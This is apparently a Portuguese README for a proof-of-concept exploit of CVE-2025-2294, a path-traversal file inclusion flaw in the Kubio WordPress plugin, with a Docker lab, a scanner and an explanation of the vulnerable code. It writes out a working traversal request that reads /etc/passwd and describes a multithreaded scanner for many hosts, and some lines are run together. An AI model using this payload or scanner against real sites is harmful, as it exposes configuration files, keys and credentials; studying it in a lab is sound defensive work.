
Exploit de prova de conceito para CVE-2025-2294, uma vulnerabilidade crítica de LFI no Kubio AI Page Builder para WordPress. Inclui um scanner Python, template nuclei e laboratório Docker para testes.
CVE-2025-2294 — uma vulnerabilidade crítica do tipo Local File Inclusion (LFI) no plugin Kubio AI Page Builder para WordPress. A vulnerabilidade permite que um atacante remoto não autenticado passe um parâmetro especialmente criado, fazendo com que o plugin inclua um arquivo arbitrário no servidor; se houver um arquivo PHP incluível, isso pode levar à execução remota de código (RCE).
kubio/wp-content/plugins/kubio/cpe:2.3:a:extendthemes:kubio_ai_page_builder::::::wordpress::*CWE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal).
__kubio-site-edit-iframe-classic-template.wp-config.php, chaves privadas, logs).O código vulnerável está relacionado à função kubio_hybrid_theme_load_template(), que acessa o array global $_REQUEST:
$template_id = Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false);
if ($template_id) {
$new_template = locate_template([$template_id]);
if ($new_template !== '') {
return $new_template;
}
}
Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false) — obtém o valor diretamente do conjunto global de dados de entrada ($_REQUEST combina $_GET, $_POST, $_COOKIE). `Isso significa que o parâmetro é controlado remotamente.
Se o parâmetro estiver presente ($template_id verdadeiro), o código chama locate_template([$template_id]).
locate_template() — uma utilitário do WordPress (ou similar no plugin) para buscar templates pelo caminho/nome relativo passado. Em um cenário normal, esperava-se que fossem passados nomes de arquivos dentro do diretório seguro de templates, como header.php ou template-parts/content.php.
O valor retornado ($new_template) é então utilizado — na implementação original, isso pode levar a um include/require do caminho encontrado, ou à passagem desse caminho adiante para saída. Isso cria uma possibilidade de LFI: um atacante pode especificar um caminho para um arquivo arbitrário.
git clone https://github.com/iteride/CVE-2025-2294.git && cd CVE-2025-2294/ && docker-compose up -d
docker exec -it <WORDPRESS_DOCKER_ID> bash
Para execução após a descompactação, acesse http://localhost:8080/wp-admin/plugins.php e ative o plugin
cd /var/www/html/wp-content/plugins
curl -L -o kubio-2.5.1.zip "https://downloads.wordpress.org/plugin/kubio.2.5.1.zip"
unzip kubio-2.5.1.zip
rm kubio-2.5.1.zip
chown -R www-data:www-data kubio
curl 'http://localhost:8080/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../../etc/passwd'

__kubio-site-edit-iframe-classic-template=<path>
Este parâmetro passa uma string que o plugin usa como identificador/caminho do template.
No trecho de código vulnerável, o valor é obtido de $_REQUEST e passado para locate_template() sem normalização ou restrição prévia. Como resultado, é possível um path traversal: se forem inseridas sequências ../ no valor, o caminho resultante pode sair do diretório esperado de templates e apontar para qualquer arquivo no sistema de arquivos (incluindo /etc/passwd).
É este parâmetro que carrega a carga útil do ataque — com ele, o atacante especifica o arquivo alvo.
__kubio-site-edit-iframe-preview=1
Este é um flag de serviço (modo de pré-visualização / iframe-edit). Ele alterna o processamento da requisição para o ramo de código onde o template especificado em __kubio-site-edit-iframe-classic-template é lido e utilizado.
Sem preview=1, o plugin poderia não processar o parâmetro classic-template ou usar outra lógica; com preview=1, a lógica que permite ler e retornar o template é ativada, tornando a exploração possível.
/wp-content/plugins/kubio/readme.txt.

O script verifica a saída de /etc/passwd, mas é muito mais rápido que o nuclei devido ao multithreading, e também suporta a varredura de vários hosts simultaneamente.
python3 scan.py --target http://localhost:8080
